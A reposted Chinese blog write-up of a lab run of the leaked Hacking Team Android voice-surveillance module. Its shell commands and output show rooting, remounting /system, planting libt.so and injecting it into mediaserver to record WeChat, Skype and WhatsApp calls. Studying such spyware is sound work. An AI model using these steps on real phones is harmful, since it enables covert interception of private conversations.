当前位置: 代码迷 >> Android >> 【腾挪安全】HacktingTeam Android语音监控实践及分析
  详细解决方案

【腾挪安全】HacktingTeam Android语音监控实践及分析

热度:71   发布时间:2016-04-27 23:44:21.0
【移动安全】HacktingTeam Android语音监控实践及分析

1、查看Android语音监控我们可以发现,目前可以实现对7款语音聊天软件进行监控,Hangouts、palchat、skype、viber、wechat、whatsapp、zeno

2、网上下载的源代码中包含pack目录,其下为编译好的libtc.so和hijack及shell脚本,实验时需要确保手机具有Root权限

3、注入原理主要是利用hijack(开源工具)将libt.so库(自研工具)注入到各个语音聊天进程中或直接注入mediaserver进程中,如微信的语音聊天进程为com.tencent.mm,然后利用注入的so中的语音处理函数对系统语音函数进行替换,实现劫持并保存想要的语音数据。


实验过程:android4.2微信最新版本举例

readme.txt内容如下:

1] cp libt.so in /system/lib/

2] ./setup_log.sh (pialla i log e restituisce il pid di mediaserver)
3] ./instrument.sh pid di mediaserver


output:
- log, log testuali
- log_in, dump mic
- log_out, dump speaker

查看进程:

#ps | grep -v system找到微信的进程号为22357,本次不对此进程进行注入,直接对mediaserver进程注入

u0_a158   22212 208   870924 41292 ffffffff 40232004 S com.qihoo.appstore
u0_a188   22357 208   1166680 87884 ffffffff 40232004 S com.tencent.mm
u0_a15    22423 208   856124 28620 ffffffff 40232004 S com.sec.android.provider
badge
u0_a188   22491 208   907760 48224 ffffffff 40232004 S com.tencent.mm:tools

#cp libt.so /system/lib

#sh ./setup_log.sh

实际脚本内容如下:删除原有程序启动监控后生成的文件

rm log 
touch log
rm log_in 
touch log_in 
rm log_out 
touch log_out 
ps | grep mediaserver


[email protected]:/sdcard/pack # sh ./instrument.sh 22357
sh ./instrument.sh 22357 di mediaserver
Too many memory mapping
cannot read memory map
can't find address of mprotect(), error!
[email protected]:/sdcard/pack # sh ./instrument.sh 22357
sh ./instrument.sh 22357 di mediaserver
Too many memory mapping
cannot read memory map
can't find address of mprotect(), error!
[email protected]:/sdcard/pack #


无法注入微信进程,改为注入mediaserver
[email protected]:/mnt/shell/emulated/0/pack # cp libt.so /system/lib/
cp libt.so /system/lib/
cp: /system/lib/libt.so: Read-only file system
[email protected]:/mnt/shell/emulated/0/pack # mount -o rw,remount /system
mount -o rw,remount /system
[email protected]:/mnt/shell/emulated/0/pack # cp libt.so /system/lib/
cp libt.so /system/lib/
[email protected]:/mnt/shell/emulated/0/pack #


[email protected]:/mnt/shell/emulated/0/pack # ./setup_log.sh
./setup_log.sh
k_shell/2000:6229: ./setup_log.sh: can't execute: Permission denied
[email protected]:/mnt/shell/emulated/0/pack # sh ./setup_log.sh
sh ./setup_log.sh
media     211   1     102200 16432 ffffffff 4026d108 S /system/bin/mediaserver
[email protected]:/mnt/shell/emulated/0/pack # sh ./instrument.sh 211
sh ./instrument.sh 211
mprotect: 0x4026d038
dlopen: 0x400db0d1
pc=4026d104 lr=40280ab9 sp=beffb900 fp=beffb9cc
r0=3 r1=c0186201
r2=beffb920 r3=beffb91c
stack: 0xbefdb000-0xbeffc000 leng = 135168
executing injection code at 0xbeffb8b0
library injection completed!
[email protected]:/mnt/shell/emulated/0/pack #

接下来即可查看日志和生成的语音文件信息。

下面是代码中支持的可以监控的软件列表

const char *pid_name[]={
"com.skype.raider",
"com.viber.voip",
"com.whatsapp",
"com.tencent.mm",
"com.facebook.",
"jp.naver.line.android",
"com.google.android.talk"
"/system/bin/mediaserver",
"unknown"
};

附件:

android上的多媒体服务是有一个叫做mediaserver的服务进程提供的。这个进程通过binder的进程间通信方式来完成其他进程(如音乐播放器)的请求。
mediaserver服务器进程的实现代码在/frameworks/base/media/mediaserver目录下,代码很小。
也就是说,在启动系统的时候,mediaserver会启动,这样也会随之添加了服 务:media.audio_flinger, media.player, media.camera, media.audio_policy。
这些服务会响应来自上层的MediaPlayer的服务请求,主要有声音播放,多 媒体文件的播放,摄像头操作,音频管理等。



版权声明:本文为博主原创文章,未经博主允许不得转载。

  相关解决方案